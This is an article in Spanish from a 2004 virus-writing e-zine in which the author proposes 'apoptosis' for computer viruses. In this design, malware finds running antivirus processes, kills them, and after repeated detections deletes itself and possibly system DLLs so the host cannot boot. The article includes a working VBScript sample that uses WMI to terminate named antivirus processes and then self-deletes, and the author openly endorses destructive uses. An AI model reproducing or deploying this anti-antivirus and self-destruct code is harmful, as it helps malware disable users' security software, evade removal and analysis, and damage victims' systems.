(C) MITOSIS #2 E-Zine/GEDZAC 2004


Tema: Apoptsis aplicada a los virus informticos
Autor: Falckon/GEDZAC
Fecha: 3 Enero 2003 / 12:15 am
----------------------------------------------------------
-Introduccin y Teora:

Antes que nada no estudio biologa pero  si  tengo esta  clase en  la escuela, de
hecho saco unos 8.6 en los exmenes. No soy QFB ni nada que se le paresca, pero a
consecuencia de unos estudios y del interesante mundo de los virus tanto biologi-
cos como informticos me  he decidido a  escribir este artculo que me parece muy
muy interesante aplicarlo a nuestro mundo.

Definamos antes que nada Qu es la apoptosis?

La Apoptsis es la muerte celular programada.

Es un proceso celular geneticamente controlado por  el que las clulas inducen su
propia muerte  en  respuesta  a  determinados  "estmulos",  en  otras  palabras:
"Suicidio Clular".

Creo que ya no habr necesidad de entrar ms en teora seguro ya ha quedado claro


-Cmo y por qu se me ocurri?:

Bueno pues, hace ya un ao sali un gusano (Winevar), bueno  el  caso es que este
al detectar alguna ventana  con  tales strings  intentaba intilizar  el  sistema
borrando todos sus archivos.
Luego de unos estudios y lectura de interstantes textos como "el virus perfecto"
escrito por "M0n30" pues  me  dieron an  ms ideas en especial sobre la autodes-
truccin viral, simplemente no  es por nada pero  m0n30  no  mencionaba el nombre
real de esto en lo biologico.

Unos meses despus empec  con  la creacin de un virus parasito - gusano en VBS,
Polimorfico y  encriptado llamado SpielUhr, (a  estas alturas  l  est  en  esta
mquina no ha sido liberado solo se encuentra en mi Lab encerrado siendo sometido
a pruebas) bueno este bicho como les comento se me ocurri aplicar la apoptsis.

Detecta los procesos Antivirales y ventanas de Antivirus Online en caso de encon-
trar estas ultimas seleccionando de una lista de palabras no muy grande procede a
cerrar cada una que encuentre en el caso de haber actuado esta funcin ms de  10
veces el virus determinar que el usuario probablemente(y seguro) est intentando
scanear  su  mquina  ya  que habr detectado  la  presencia  de  nuestra especie
queriendo as poner fin a nuestro beb, lo  cual no lograr ya que este proceder
a autoeliminarse borrando su cdigo total mente de la mquina huesped y eliminan-
do archivos DLL de la carpeta system, as pues spieluhr matara a su huesped y se
matara el  mismo solo como  medio  de proteccin y  no  de intencin de daar la
mquina, yo a  esto si le considerara lamersada, ya que daar sistemas as noms
sin ninguna razn  es  meramente estpido al igual que hacerlo con algun animo de
lucro o vengaza.
Pero ah no acaba la cosa  yo  hasta ese momento no saba lo que andaba codeando,
posiblemente por  que soy un principiante y  ms por que no  s de biologa (=P),
simplemente mientras haca  unas pruebas con  el polimorfismo del spieluhr olvid
encriptarlo (ya que esto  es  la base de  su funcionamiento y  mecanismo) lo cual
ejecut por que tena unos errores y pues comet ese gran error.
Spieluhr termin sobreescribiendose y  dejando nada en su propio archivo, genial,
spieluhr haba  cometido  suicidio celular, ya  que, al  no  poder  funcionar  su
polimorfismo simplemente  cometi  el  descaro de suicidarse, suerte la ma tena
una copia  de  seguridad hehe, pero  sorprendido  por lo que acababa de pasar fui
corriendo a investigar  con una persona, ella es Quimica Farmaco Biologa y  no es
por nada pero me explic lo  que Spieluhr  acababa de hacer es entonces cuando ya
surgi totalmente la idea de la apoptsis cybernetica.



-Aplicacin porqu y para qu?:

Pero porqu aplicar la apoptsis en los virus informticos?

La respuesta es simple y como en los virus biologicos, sera responder a determi-
nados estmulos, en este caso  sera la defensa propia  del virus, tal vez muchos
coders  experimentados esten  encontra de esto ya que, de  que  sirve dotar  a un
virus de gran propagacin si luego va a llegar  a un huesped en el cual no vivir
mucho y se autodestruir, esto no tendra  sentido, pero si  lo vemos por el lado
el cual ya mencion, la defensa, nos sera muy til para evitar la caza del virus
por parte  del usuario tanto experimentado o  de bajo  nivel, ya que solo los que
tengan un  muy  alto  conocimiento pueden  remover  un virus  en forma manual, la
mayora utilizar un antivirus.
Por otra parte le  daramos  una  muerte digna al  Virus, sin tener  que morir en
manos de un antivirus sera lo ms justo, adems con esto evitaramos que nuestro
beb sea  atrapado, es un  juego entre  la vida y la muerte, adems de esto en la
autodestruccin o Suicidio  podramos tambin no solo afectarnos, tambin afectar
el sistema huesped, osea en el momento de detectar cualquier intento de deteccin
el componente apoptotico de nuestro virus entrara en accin, buscara su binario
o su "clula" y procedera a  la autodestruccin, sobreescribiendo el archivo con
basura o eliminandolo, con  eso bastara para  por ejemplo  evitar que el usuario
vaya por nuestro binario y lo enve a una casa AV o simplemente en el peor de los
casos limpiarlo...
Como ya mencion antes, podramos tambin afectar el sistema huesped, destruyendo
algunos archivos del sistema operativo y  as haciendo imposible su arranque, as
el virus se habra suicidado y  tambin habra dado muerte a su alojador, lo cual
sera imposible de  atrapar o  si quiera recuperar el  cdigo del virus, s que a
muchos coders les parecer "lamer" el usar esto, ya que eliminar mquina es sino-
nimo de baja reproduccin y por lo tanto nuestro componente apoptotico solo sera
usado en casos extremos.


-Esquema:                       


                                                          -------------
                                                          |spoolsv.exe|
                                                          |svchost.exe|
####################   Buscando Procesos/Antivirales      |notepad.exe|
#      Virus       # <----------------------------------> #PCScan.exe #
#################### ^                                    -------------
                     |                                     /    |
                     |                                    /     |
                     |                       .-----------      |
                     |                       |                  |
                     |                 #############     ----------------
                     |                 #  Vir List # .-->|  PCScan.exe  |
                     |                 # Mcafee.exe# |   ----------------
                     '---------------- # Nod32.exe # |          |
                                       # PCScan.exe#-'          |
                                       #############            |
                                                                |
                                                                |
                                                          #############
                                                          # Detected! #
                                                          #AutoDefensa#
                                                          #############
                                                                |
                                                                |
                                                                | 
                               -------------------              |
                               |PCScan.exe Killed|<-------------'
                               -------------------
                                         |
                                         |
                                   ------------------
                                   |Si X => 10      |
                                   ------------------
                                         |
                                         |
       ######################            |
       #  Virus Deleted     #  <---------'
       ######################
                                                      
                                                 
Este simple esquema demuestra la apoptsis, explicacin:
El virus  busca procesos (tambien puede ser ventanas), en  su cdigo contiene una
lista de procesos Antivirus, extrae  los  procesos corriendo y  va comprobando si
alguno de  los  que tiene se  encuentra en ejecucin  si  no es  el caso vuelve a
repetir el  proceso esto debe  hacerse por lo menos cada 10 segundos, en  el caso
contrario proceder a  cerrar el proceso y llevar un contador de cuantas veces se
ha detectado un  proceso antiviral y  si este es  igual  o mayor a 10 entonces el
virus se autoeliminar no dejando rastro.
Creo esto es sencillo y es una buena tcnica de defensa antiviral.
En mis  dos  aos de codeo nunca he  llegado a ver alguna forma de defensa viral,
solo he  llegado a  ver tcnicas de  antieliminacin y  creo es hora de que si la
tcnologa  avanza, los  virus  evolucionen y  poco  a poco adquieran  un poco de
inteligencia.

-Programando:

Bueno pues ya os pareca aburrida la teora?
bueno pues  vamos a meternos a codear, en  principio haba programado ejemplos en
ensamblador para  hacer ms "interesante" este  artculo  pero  por "problemas" y
"criticas" he decidido basarme solamente en VB.
He aqu un cdigo en VBS para que entendais mejor la apoptsis:

';---------------------------inicio de codigo------------------------------;

'// Apoptsis - La teora de los retrovirus
'// by Falckon/GeDzAC
'// Example in VBS
'// En este ejemplo demuestro la utilizacin de la apoptsis
'// en vbs, buscando por procesos antivirales :D
On Error Resume Next  '/Control de errores (importante!)
Dim gObject,iFor,Contador

  
Do  '/Inicio del Do
Dormir(5000)            '/esperamos 5 segundos, as logramos hacer un Timer
'/Microsoft Windows Management Instrumentation  (WMI) 
'/Hacemos un For para extraer todos los procesos
For Each iFor in GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_Process")
           'Llamamos a la funcion ProcesosAV pasandole el nombre del proceso
If ProcesosAV(iFor.Name) = true Then
           '/Entonces ya que comprobamos que existe el AV terminamos su ejecucin
iFor.Terminate()
           '/Aumentamos Contador en uno
Contador = Contador + 1
           '/Si Contador es mayor a 10 entonces..
If Contador > 10 then
Dim Fso
Set Fso = CreateObject("Scripting.FileSystemObject")
           '/Autodestruimos nuestro script
Fso.DeleteFile Wscript.ScriptFullName
End if
End if
Next
Loop

Function Dormir(segundos)
           'Function que duerme unos segundos el Do-Loop
Wscript.Sleep(segundos)
End Function

Function ProcesosAv(ExE)
'/Esta funcion busca los procesos puestos en un array
'/y si alguno es igual al que se pas a la funcion
'/devuelve true

Dim AVArray,FProcess
                      '/Array con los nombrs de los procesos a buscar
AVArray = Array("pqremove.com","nod32.exe","antivir.exe")
                      '/Extraemos los nombres del array
For Each FProcess in AVArray
                      '/Si algun proceso es igual al que se extrajo entonces
If FProcess = LCase(ExE) Then
                      '/ProcesosAV es igual a verdadero / Detectado el antivirus!

ProcesosAV = True
Else 
                      '/ PrcesosAV es falso no hay nada
ProcesosAV = False
End if                ' /Fin de IF
next '/fin de next
End Function
'//nota: este ejemplo no es funcional en Win98
'//tested in WinXP build 2600

';--------------------------fin de codigo------------------------------


este es un ejemplo practico y sencillo en VBS,
creo que no hace falta explicacin....
estudiadlo que as aprendeis.

-Resumen.

La apoptsis no  es necesaria, pero si  en buena forma  para la autodefensa de la
propia especie viral, para as  evitar su eliminacin por  parte de los productos
antivirales y creo que es mejor suicidarse a que ser eliminados por otros.
Tambin podemos utilizarla no solo como medio de defensa si no como medio para la
destruccin de los datos, fines malevolos, en fin.

(C) MITOSIS #2 E-Zine/GEDZAC 2004